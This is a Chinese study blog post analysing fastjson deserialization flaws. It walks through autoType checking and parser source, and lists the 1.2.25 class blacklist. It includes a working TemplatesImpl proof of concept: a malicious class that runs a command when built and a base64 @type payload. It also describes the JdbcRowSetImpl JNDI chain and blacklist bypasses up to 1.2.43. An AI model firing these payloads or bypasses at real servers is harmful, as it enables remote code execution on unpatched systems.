fastjson - wele

1. fastjson 初步了解#

java 编写的高性能 JSON 库，用于将数据在 JSON 和 java Object 之间转换。

提供了两个接口来实现序列化和反序列化的操作。

JSON.toJSONString 将 java 对象转换为 json 对象，序列化。
JSON.parseObject / JSON.parse 将 json 对象转换为 java 对象，反序列化.

1
String jsonString = JSON.toJSONString(student,SerializerFeature.WriteClassName)
2

3
### SerializerFeature.WriteClassName，是 JSON.toJSONString() 中的一个设置属性值，设置之后在### 序列化的时候会多写入一个@type，即写上被序列化的类名，type 可以指定反序列化的类，并且调用其
4
### getter/setter/is 方法

out 中有一个字符数组，student 的属性等存储其中。

创建一个序列化器，将 object 序列化，最后调用 toString()。

fastjson 产生的安全问题：fastjson 在反序列化时会去看 @type 中指定的类，然后在反序列化的过程中自动调用一些 setter 和 getter 以及构造函数方法。每个版本都是一样的，不同版本有不同的黑名单，维护在 ParserConfig 中。

满足条件的 setter：

非静态函数
返回类型为 void 或当前类
参数个数为 1 个

满足条件的 getter：

非静态方法
无参数
返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong

满足以上条件的 setter getter 会在反序列化的过程中调用。

1.2.24 版本没有黑名单，没有 checkAutoType ，autoType 默认 True。#

1.2.25 版本黑名单如下，autoType 默认 false。#

1
[bsh, com.mchange, com.sun., java.lang.Thread, java.net.Socket, java.rmi, javax.xml, org.apache.bcel, org.apache.commons.beanutils, org.apache.commons.collections.Transformer, org.apache.commons.collections.functors, org.apache.commons.collections4.comparators, org.apache.commons.fileupload, org.apache.myfaces.context.servlet, org.apache.tomcat, org.apache.wicket.util, org.codehaus.groovy.runtime, org.hibernate, org.jboss, org.mozilla.javascript, org.python.core, org.springframework]

1.2.42 开始黑名单变成 hash 值，目前有一些跑出来的类 LeadroyaL/fastjson-blacklist

checkAutoType

1
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
2
    if (typeName == null) {
3
        return null;
4
    } else {
5
        String className = typeName.replace('$', '.');
6
        # 如果开启了 autoTypeSupport 会检查 typeName 是否在白名单，如果在直接 loadClass，不在进行其他处理。
7
        if (this.autoTypeSupport || expectClass != null) {
8

9
            for(int i = 0; i < this.acceptList.length; ++i) {
10
                String accept = this.acceptList[i];
11
                if (className.startsWith(accept)) {
12
                    return TypeUtils.loadClass(typeName, this.defaultClassLoader);
13
                }
14
            }
15
      # 如果不在白名单，会检查 typeName 是否在黑名单，如果在抛出异常
16
            for(int i = 0; i < this.denyList.length; ++i) {
17
                String deny = this.denyList[i];
18
                if (className.startsWith(deny)) {
19
                    throw new JSONException("autoType is not support. " + typeName);
20
                }
21
            }
22
        }
23

24
    # 如果不在黑白名单，或者 autoTypeSupport 没开启，则去 Mapping 缓存找这个类
25
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
26
        # 如果 Mapping 缓存没用，去反序列化器缓存中找
27
        if (clazz == null) {
28
            clazz = this.deserializers.findClass(typeName);
29
        }
30
    # 如果上述两种方式找到了，并且指定了 expectClass ，检查是不是其子类，不是则抛出异常。
31
        if (clazz != null) {
32
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
33
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
34
            } else {
35
                return clazz;
36
            }
37
        } else {
38
        # 如果没有开启 autoTypeSupport ，则先经过黑名单过滤，然后在经过白名单，在白名单就 loadClass
39
            if (!this.autoTypeSupport) {
40
                for(int i = 0; i < this.denyList.length; ++i) {
41
                    String deny = this.denyList[i];
42
                    if (className.startsWith(deny)) {
43
                        throw new JSONException("autoType is not support. " + typeName);
44
                    }
45
                }
46

47
                for(int i = 0; i < this.acceptList.length; ++i) {
48
                    String accept = this.acceptList[i];
49
                    if (className.startsWith(accept)) {
50
                        if (clazz == null) {
51
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
52
                        }
53

54
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
55
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
56
                        }
57

58
                        return clazz;
59
                    }
60
                }
61
            }
62
      # 如果不在黑白名单，也不在缓存中，则直接 loadClass
63
            if (clazz == null) {
64
                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
65
            }
66

67
            if (clazz != null) {
68
            # 如果类上有 @JSONType 注解，直接放行
69
                if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
70
                    return clazz;
71
                }
72
        // 拦截高危：ClassLoader 和 DataSource
73
                if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
74
                    throw new JSONException("autoType is not support. " + typeName);
75
                }
76

77
                if (expectClass != null) {
78
                    if (expectClass.isAssignableFrom(clazz)) {
79
                        return clazz;
80
                    }
81

82
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
83
                }
84

85
                JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
86
                if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
87
                    throw new JSONException("autoType is not support. " + typeName);
88
                }
89
            }
90

91
            int mask = Feature.SupportAutoType.mask;
92
            boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
93
            # 最后的检查，所以需要提前设置 autoTypeSupport 为 true
94
            if (!autoTypeSupport) {
95
                throw new JSONException("autoType is not support. " + typeName);
96
            } else {
97
                return clazz;
98
            }
99
        }
100
    }
101
}

2. fastjson 1.2.24 版本下的链子#

TODO

1. 基于 TemplatesImpl 的链子#

这条链子基于 templatesimpl 加载字节码，上层是调用了 newInstance() 方法

再往上是 getTransletInstance 方法，是一个 getter 方法。

要加载的恶意类

1
import com.sun.org.apache.xalan.internal.xsltc.DOM;
2
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
3
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
4
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
5
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
6
import java.io.IOException;
7

8
public class templatesBytes extends AbstractTranslet {
9
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {
10
        // 方法实现
11

12
    }
13
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
14
        // 方法实现
15
    }
16
    public templatesBytes() throws IOException {
17
        super();
18
        Runtime.getRuntime().exec("calc");
19
    }
20

21
}

尝试使用 getTransletInstance() 去触发，事后发现这个不会被触发，不满足上述 getter 的条件，继续找了一个 getoutputproperties，提前编译字节码 javac evil.java

修改为

1
import com.alibaba.fastjson.JSON;
2
import com.alibaba.fastjson.parser.Feature;
3
import java.io.IOException;
4
import java.nio.file.Files;
5
import java.nio.file.Paths;
6

7

8
public class TemplateImplPoc {
9
    public static void main(String[] args) throws IOException {
10

11
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\fastjson\\src\\main\\java\\evil.class"));
12

13
        String base64Bytecodes = java.util.Base64.getEncoder().encodeToString(bytecodes);
14

15
        String payload = String.format(
16
                "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
17
                        "\"_name\":\"evil\"," +
18
                        "\"_tfactory\":{}," +
19
                        "\"_bytecodes\":[\"%s\"],"+"\"_outputProperties\":{}"+"}", base64Bytecodes);
20

21
        System.out.println("payload as follow:\n" + payload);
22
        JSON.parse(payload, Feature.SupportNonPublicField);
23
    }
24
}

调试一遍

一直跟进到这里，新建一个 JSONObject 对象，查看是否保持字段顺序，继续跟进

JSONObject 就是一个 HashMap。

调用栈

需要这个参数 Feature.SupportNonPublicField 所以限制会比 jdbc 那个链子限制大一些

2. 基于 JdbcRowSetImpl 的链子#

基于 RMI 利用的 JDK 版本 ≤ 6u141、7u131、8u121，基于 LDAP 利用的 JDK 版本 ≤ 6u211、7u201、8u191。

调用了 lookup() 方法，可以打 jndi+ldap，rmi

1
public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
2
    this.lexer = lexer;
3
    this.input = input;
4
    this.config = config;
5
    this.symbolTable = config.symbolTable;
6

7
    int ch = lexer.getCurrent();
8
    if (ch == '{') {
9
        lexer.next();
10
        ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
11
    } else if (ch == '[') {
12
        lexer.next();
13
        ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
14
    } else {
15
        lexer.nextToken(); // prime the pump
16
    }
17
}

对 { [ 做额外处理避免了开销大的 nextToken()

1
public final void nextToken() {
2
    sp = 0;
3

4
    for (;;) {
5
        pos = bp;
6

7
        if (ch == '/') {
8
            skipComment();
9
            continue;
10
        }
11

12
        if (ch == '"') {
13
            scanString();
14
            return;
15
        }
16

17
        if (ch == ',') {
18
            next();
19
            token = COMMA;
20
            return;
21
        }
22

23
        if (ch >= '0' && ch <= '9') {
24
            scanNumber();
25
            return;
26
        }
27

28
        if (ch == '-') {
29
            scanNumber();
30
            return;
31
        }
32

33
        switch (ch) {
34
            case '\'':
35
                if (!isEnabled(Feature.AllowSingleQuotes)) {
36
                    throw new JSONException("Feature.AllowSingleQuotes is false");
37
                }
38
                scanStringSingleQuote();
39
                return;
40
            case ' ':
41
            case '\t':
42
            case '\b':
43
            case '\f':
44
            case '\n':
45
            case '\r':
46
                next();
47
                break;
48
            case 't': // true
49
                scanTrue();
50
                return;
51
            case 'f': // false
52
                scanFalse();
53
                return;
54
            case 'n': // new,null
55
                scanNullOrNew();
56
                return;
57
            case 'T':
58
            case 'N': // NULL
59
            case 'S':
60
            case 'u': // undefined
61
                scanIdent();
62
                return;
63
            case '(':
64
                next();
65
                token = LPAREN;
66
                return;
67
            case ')':
68
                next();
69
                token = RPAREN;
70
                return;
71
            case '[':
72
                next();
73
                token = LBRACKET;
74
                return;
75
            case ']':
76
                next();
77
                token = RBRACKET;
78
                return;
79
            case '{':
80
                next();
81
                token = LBRACE;
82
                return;
83
            case '}':
84
                next();
85
                token = RBRACE;
86
                return;
87
            case ':':
88
                next();
89
                token = COLON;
90
                return;
91
            default:
92
                if (isEOF()) { // JLS
93
                    if (token == EOF) {
94
                        throw new JSONException("EOF error");
95
                    }
96

97
                    token = EOF;
98
                    pos = bp = eofPos;
99
                } else {
100
                    if (ch <= 31 || ch == 127) {
101
                        next();
102
                        break;
103
                    }
104
                    lexError("illegal.char", String.valueOf((int) ch));
105
                    next();
106
                }
107

108
                return;
109
        }
110
    }
111

112
}

拿到一个起始的 token 然后跟进到 parse()，根据 token 判断走什么

1
public Object parse(Object fieldName) {
2
    final JSONLexer lexer = this.lexer;
3
    switch (lexer.token()) {
4
        case SET:
5
            lexer.nextToken();
6
            HashSet<Object> set = new HashSet<Object>();
7
            parseArray(set, fieldName);
8
            return set;
9
        case TREE_SET:
10
            lexer.nextToken();
11
            TreeSet<Object> treeSet = new TreeSet<Object>();
12
            parseArray(treeSet, fieldName);
13
            return treeSet;
14
        case LBRACKET:
15
            JSONArray array = new JSONArray();
16
            parseArray(array, fieldName);
17
            if (lexer.isEnabled(Feature.UseObjectArray)) {
18
                return array.toArray();
19
            }
20
            return array;
21
        case LBRACE:
22
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
23
            return parseObject(object, fieldName);
24
        case LITERAL_INT:
25
            Number intValue = lexer.integerValue();
26
            lexer.nextToken();
27
            return intValue;
28
        case LITERAL_FLOAT:
29
            Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
30
            lexer.nextToken();
31
            return value;
32
        case LITERAL_STRING:
33
            String stringLiteral = lexer.stringVal();
34
            lexer.nextToken(JSONToken.COMMA);
35

36
            if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
37
                JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
38
                try {
39
                    if (iso8601Lexer.scanISO8601DateIfMatch()) {
40
                        return iso8601Lexer.getCalendar().getTime();
41
                    }
42
                } finally {
43
                    iso8601Lexer.close();
44
                }
45
            }
46

47
            return stringLiteral;
48
        case NULL:
49
            lexer.nextToken();
50
            return null;
51
        case UNDEFINED:
52
            lexer.nextToken();
53
            return null;
54
        case TRUE:
55
            lexer.nextToken();
56
            return Boolean.TRUE;
57
        case FALSE:
58
            lexer.nextToken();
59
            return Boolean.FALSE;
60
        case NEW:
61
            lexer.nextToken(JSONToken.IDENTIFIER);
62

63
            if (lexer.token() != JSONToken.IDENTIFIER) {
64
                throw new JSONException("syntax error");
65
            }
66
            lexer.nextToken(JSONToken.LPAREN);
67

68
            accept(JSONToken.LPAREN);
69
            long time = ((Number) lexer.integerValue()).longValue();
70
            accept(JSONToken.LITERAL_INT);
71

72
            accept(JSONToken.RPAREN);
73

74
            return new Date(time);
75
        case EOF:
76
            if (lexer.isBlankInput()) {
77
                return null;
78
            }
79
            throw new JSONException("unterminated json string, " + lexer.info());
80
        case ERROR:
81
        default:
82
            throw new JSONException("syntax error, " + lexer.info());
83
    }
84
}

然后跟进 parseObject()

1
public final Object parseObject(final Map object, Object fieldName) {
2
    final JSONLexer lexer = this.lexer;
3

4
    if (lexer.token() == JSONToken.NULL) {
5
        lexer.nextToken();
6
        return null;
7
    }
8

9
    if (lexer.token() == JSONToken.RBRACE) {
10
        lexer.nextToken();
11
        return object;
12
    }
13

14
    if (lexer.token() != JSONToken.LBRACE && lexer.token() != JSONToken.COMMA) {
15
        throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
16
    }
17

18
   ParseContext context = this.context;
19
    try {
20
        boolean setContextFlag = false;
21
        for (;;) {
22
            lexer.skipWhitespace();
23
            char ch = lexer.getCurrent();
24
            if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
25
                while (ch == ',') {
26
                    lexer.next();
27
                    lexer.skipWhitespace();
28
                    ch = lexer.getCurrent();
29
                }
30
            }
31

32
            boolean isObjectKey = false;
33
            Object key;
34
            if (ch == '"') {
35
                key = lexer.scanSymbol(symbolTable, '"');
36
                lexer.skipWhitespace();
37
                ch = lexer.getCurrent();
38
                if (ch != ':') {
39
                    throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
40
                }
41
            } else if (ch == '}') {
42
                lexer.next();
43
                lexer.resetStringPosition();
44
                lexer.nextToken();
45

46
                if (!setContextFlag) {
47
                    if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
48
                        context = this.context;
49
                    } else {
50
                        ParseContext contextR = setContext(object, fieldName);
51
                        if (context == null) {
52
                            context = contextR;
53
                        }
54
                        setContextFlag = true;
55
                    }
56
                }
57

58
                return object;
59
            } else if (ch == '\'') {
60
                if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
61
                    throw new JSONException("syntax error");
62
                }
63

64
                key = lexer.scanSymbol(symbolTable, '\'');
65
                lexer.skipWhitespace();
66
                ch = lexer.getCurrent();
67
                if (ch != ':') {
68
                    throw new JSONException("expect ':' at " + lexer.pos());
69
                }
70
            } else if (ch == EOI) {
71
                throw new JSONException("syntax error");
72
            } else if (ch == ',') {
73
                throw new JSONException("syntax error");
74
            } else if ((ch >= '0' && ch <= '9') || ch == '-') {
75
                lexer.resetStringPosition();
76
                lexer.scanNumber();
77
                try {
78
                if (lexer.token() == JSONToken.LITERAL_INT) {
79
                    key = lexer.integerValue();
80
                } else {
81
                    key = lexer.decimalValue(true);
82
                }
83
                } catch (NumberFormatException e) {
84
                    throw new JSONException("parse number key error" + lexer.info());
85
                }
86
                ch = lexer.getCurrent();
87
                if (ch != ':') {
88
                    throw new JSONException("parse number key error" + lexer.info());
89
                }
90
            } else if (ch == '{' || ch == '[') {
91
                lexer.nextToken();
92
                key = parse();
93
                isObjectKey = true;
94
            } else {
95
                if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
96
                    throw new JSONException("syntax error");
97
                }
98

99
                key = lexer.scanSymbolUnQuoted(symbolTable);
100
                lexer.skipWhitespace();
101
                ch = lexer.getCurrent();
102
                if (ch != ':') {
103
                    throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
104
                }
105
            }
106

107
            if (!isObjectKey) {
108
                lexer.next();
109
                lexer.skipWhitespace();
110
            }
111

112
            ch = lexer.getCurrent();
113

114
            lexer.resetStringPosition();
115

116
            if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
117
                String typeName = lexer.scanSymbol(symbolTable, '"');
118
                Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
119

120
                if (clazz == null) {
121
                    object.put(JSON.DEFAULT_TYPE_KEY, typeName);
122
                    continue;
123
                }
124

125
                lexer.nextToken(JSONToken.COMMA);
126
                if (lexer.token() == JSONToken.RBRACE) {
127
                    lexer.nextToken(JSONToken.COMMA);
128
                    try {
129
                        Object instance = null;
130
                        ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
131
                        if (deserializer instanceof JavaBeanDeserializer) {
132
                            instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
133
                        }
134

135
                        if (instance == null) {
136
                            if (clazz == Cloneable.class) {
137
                                instance = new HashMap();
138
                            } else if ("java.util.Collections$EmptyMap".equals(typeName)) {
139
                                instance = Collections.emptyMap();
140
                            } else {
141
                                instance = clazz.newInstance();
142
                            }
143
                        }
144

145
                        return instance;
146
                    } catch (Exception e) {
147
                        throw new JSONException("create instance error", e);
148
                    }
149
                }
150

151
                this.setResolveStatus(TypeNameRedirect);
152

153
                if (this.context != null && !(fieldName instanceof Integer)) {
154
                    this.popContext();
155
                }
156

157
                if (object.size() > 0) {
158
                    Object newObj = TypeUtils.cast(object, clazz, this.config);
159
                    this.parseObject(newObj);
160
                    return newObj;
161
                }
162

163
                ObjectDeserializer deserializer = config.getDeserializer(clazz);
164
                return deserializer.deserialze(this, clazz, fieldName);
165
            }
166

167
            if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
168
                lexer.nextToken(JSONToken.LITERAL_STRING);
169
                if (lexer.token() == JSONToken.LITERAL_STRING) {
170
                    String ref = lexer.stringVal();
171
                    lexer.nextToken(JSONToken.RBRACE);
172

173
                    Object refValue = null;
174
                    if ("@".equals(ref)) {
175
                        if (this.context != null) {
176
                            ParseContext thisContext = this.context;
177
                            Object thisObj = thisContext.object;
178
                            if (thisObj instanceof Object[] || thisObj instanceof Collection<?>) {
179
                                refValue = thisObj;
180
                            } else if (thisContext.parent != null) {
181
                                refValue = thisContext.parent.object;
182
                            }
183
                        }
184
                    } else if ("..".equals(ref)) {
185
                        if (context.object != null) {
186
                            refValue = context.object;
187
                        } else {
188
                            addResolveTask(new ResolveTask(context, ref));
189
                            setResolveStatus(DefaultJSONParser.NeedToResolve);
190
                        }
191
                    } else if ("$".equals(ref)) {
192
                        ParseContext rootContext = context;
193
                        while (rootContext.parent != null) {
194
                            rootContext = rootContext.parent;
195
                        }
196

197
                        if (rootContext.object != null) {
198
                            refValue = rootContext.object;
199
                        } else {
200
                            addResolveTask(new ResolveTask(rootContext, ref));
201
                            setResolveStatus(DefaultJSONParser.NeedToResolve);
202
                        }
203
                    } else {
204
                        addResolveTask(new ResolveTask(context, ref));
205
                        setResolveStatus(DefaultJSONParser.NeedToResolve);
206
                    }
207

208
                    if (lexer.token() != JSONToken.RBRACE) {
209
                        throw new JSONException("syntax error");
210
                    }
211
                    lexer.nextToken(JSONToken.COMMA);
212

213
                    return refValue;
214
                } else {
215
                    throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
216
                }
217
            }
218

219
            if (!setContextFlag) {
220
                if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
221
                    context = this.context;
222
                } else {
223
                    ParseContext contextR = setContext(object, fieldName);
224
                    if (context == null) {
225
                        context = contextR;
226
                    }
227
                    setContextFlag = true;
228
                }
229
            }
230

231
            if (object.getClass() == JSONObject.class) {
232
                key = (key == null) ? "null" : key.toString();
233
            }
234

235
            Object value;
236
            if (ch == '"') {
237
                lexer.scanString();
238
                String strValue = lexer.stringVal();
239
                value = strValue;
240

241
                if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
242
                    JSONScanner iso8601Lexer = new JSONScanner(strValue);
243
                    if (iso8601Lexer.scanISO8601DateIfMatch()) {
244
                        value = iso8601Lexer.getCalendar().getTime();
245
                    }
246
                    iso8601Lexer.close();
247
                }
248

249
                object.put(key, value);
250
            } else if (ch >= '0' && ch <= '9' || ch == '-') {
251
                lexer.scanNumber();
252
                if (lexer.token() == JSONToken.LITERAL_INT) {
253
                    value = lexer.integerValue();
254
                } else {
255
                    value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
256
                }
257

258
                object.put(key, value);
259
            } else if (ch == '[') { // 减少嵌套，兼容android
260
                lexer.nextToken();
261

262
                JSONArray list = new JSONArray();
263

264
                final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
265
//                    if (!parentIsArray) {
266
//                        this.setContext(context);
267
//                    }
268
                if (fieldName == null) {
269
                    this.setContext(context);
270
                }
271

272
                this.parseArray(list, key);
273

274
                if (lexer.isEnabled(Feature.UseObjectArray)) {
275
                    value = list.toArray();
276
                } else {
277
                    value = list;
278
                }
279
                object.put(key, value);
280

281
                if (lexer.token() == JSONToken.RBRACE) {
282
                    lexer.nextToken();
283
                    return object;
284
                } else if (lexer.token() == JSONToken.COMMA) {
285
                    continue;
286
                } else {
287
                    throw new JSONException("syntax error");
288
                }
289
            } else if (ch == '{') { // 减少嵌套，兼容android
290
                lexer.nextToken();
291

292
                final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
293

294
                JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
295
                ParseContext ctxLocal = null;
296

297
                if (!parentIsArray) {
298
                    ctxLocal = setContext(context, input, key);
299
                }
300

301
                Object obj = null;
302
                boolean objParsed = false;
303
                if (fieldTypeResolver != null) {
304
                    String resolveFieldName = key != null ? key.toString() : null;
305
                    Type fieldType = fieldTypeResolver.resolve(object, resolveFieldName);
306
                    if (fieldType != null) {
307
                        ObjectDeserializer fieldDeser = config.getDeserializer(fieldType);
308
                        obj = fieldDeser.deserialze(this, fieldType, key);
309
                        objParsed = true;
310
                    }
311
                }
312
                if (!objParsed) {
313
                    obj = this.parseObject(input, key);
314
                }
315

316
                if (ctxLocal != null && input != obj) {
317
                    ctxLocal.object = object;
318
                }
319

320
                checkMapResolve(object, key.toString());
321

322
                if (object.getClass() == JSONObject.class) {
323
                    object.put(key.toString(), obj);
324
                } else {
325
                    object.put(key, obj);
326
                }
327

328
                if (parentIsArray) {
329
                    //setContext(context, obj, key);
330
                    setContext(obj, key);
331
                }
332

333
                if (lexer.token() == JSONToken.RBRACE) {
334
                    lexer.nextToken();
335

336
                    setContext(context);
337
                    return object;
338
                } else if (lexer.token() == JSONToken.COMMA) {
339
                    if (parentIsArray) {
340
                        this.popContext();
341
                    } else {
342
                        this.setContext(context);
343
                    }
344
                    continue;
345
                } else {
346
                    throw new JSONException("syntax error, " + lexer.tokenName());
347
                }
348
            } else {
349
                lexer.nextToken();
350
                value = parse();
351

352
                if (object.getClass() == JSONObject.class) {
353
                    key = key.toString();
354
                }
355
                object.put(key, value);
356

357
                if (lexer.token() == JSONToken.RBRACE) {
358
                    lexer.nextToken();
359
                    return object;
360
                } else if (lexer.token() == JSONToken.COMMA) {
361
                    continue;
362
                } else {
363
                    throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
364
                }
365
            }
366

367
            lexer.skipWhitespace();
368
            ch = lexer.getCurrent();
369
            if (ch == ',') {
370
                lexer.next();
371
                continue;
372
            } else if (ch == '}') {
373
                lexer.next();
374
                lexer.resetStringPosition();
375
                lexer.nextToken();
376

377
                // this.setContext(object, fieldName);
378
                this.setContext(value, key);
379

380
                return object;
381
            } else {
382
                throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
383
            }
384

385
        }
386
    } finally {
387
        this.setContext(context);
388
    }
389

390
}

关键部分是

1
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
2
    String typeName = lexer.scanSymbol(symbolTable, '"');
3
    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
4

5
    if (clazz == null) {
6
        object.put(JSON.DEFAULT_TYPE_KEY, typeName);
7
        continue;
8
    }
9

10
    lexer.nextToken(JSONToken.COMMA);
11
    if (lexer.token() == JSONToken.RBRACE) {
12
        lexer.nextToken(JSONToken.COMMA);
13
        try {
14
            Object instance = null;
15
            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
16
            if (deserializer instanceof JavaBeanDeserializer) {
17
                instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
18
            }
19

20
            if (instance == null) {
21
                if (clazz == Cloneable.class) {
22
                    instance = new HashMap();
23
                } else if ("java.util.Collections$EmptyMap".equals(typeName)) {
24
                    instance = Collections.emptyMap();
25
                } else {
26
                    instance = clazz.newInstance();
27
                }
28
            }
29

30
            return instance;

调用 scanSymbol() 获取键值 typeName ，然后 loadClass 当前 @type 指定的类。

最后在 368 行进入 deserialize() 方法

1
ObjectDeserializer deserializer = config.getDeserializer(clazz);
2
return deserializer.deserialze(this, clazz, fieldName);

这个调用栈看不到细节，暂时先去看下一个了，

跟进 deserialize()

这里的 Object 是 JdbcRowSetimpl,往下就是 setValue 赋值

因为 key 是 AutoCommit value 是 true ，

跟进到这就是调用了 setAutoCommit(true),下面就是 jdbcRowSetImpl 的了

3. fastjson 1.2.25 - 1.2.41 绕过#

提前配置 AutoTypeSupport 为 true

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

如果要使用黑名单的类，在黑名单类前面 + L 结尾＋ ; 绕过。

原因在 loadClass 中

4.fastjson 1.2.42 版本绕过#

对黑名单的类进行 hash 比对，不再明文存储

双写 L ; 绕过，没有循环检查

5.fastjson 1.2.43 版本绕过#

黑名单类前加 [

1
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
2
    if (className != null && className.length() != 0) {
3
        Class<?> clazz = (Class)mappings.get(className);
4
        if (clazz != null) {
5
            return clazz;
6
            // 这里直接 loadClass
7
        } else if (className.charAt(0) == '[') {
8
            Class<?> componentType = loadClass(className.substring(1), classLoader);
9
            return Array.newInstance(componentType, 0).getClass();
10
        } else if (className.startsWith("L") && className.endsWith(";")) {
11
            String newClassName = className.substring(1, className.length() - 1);
12
            return loadClass(newClassName, classLoader);
13
        } else {
14
            try {
15
                if (classLoader != null) {
16
                    clazz = classLoader.loadClass(className);
17
                    if (cache) {
18
                        mappings.put(className, clazz);
19
                    }
20

21
                    return clazz;
22
                }
23
            } catch (Throwable var7) {
24
                var7.printStackTrace();
25
            }
26

27
            try {
28
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
29
                if (contextClassLoader != null && contextClassLoader != classLoader) {
30
                    clazz = contextClassLoader.loadClass(className);
31
                    if (cache) {
32
                        mappings.put(className, clazz);
33
                    }
34

35
                    return clazz;
36
                }
37
            } catch (Throwable var6) {
38
            }
39

40
            try {
41
                clazz = Class.forName(className);
42
                mappings.put(className, clazz);
43
                return clazz;
44
            } catch (Throwable var5) {
45
                return clazz;
46
            }
47
        }
48
    } else {
49
        return null;
50
    }
51
}

参考资料

Java反序列化Fastjson篇01-FastJson基础 | Drunkbaby’s Blog

Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog

LeadroyaL/fastjson-blacklist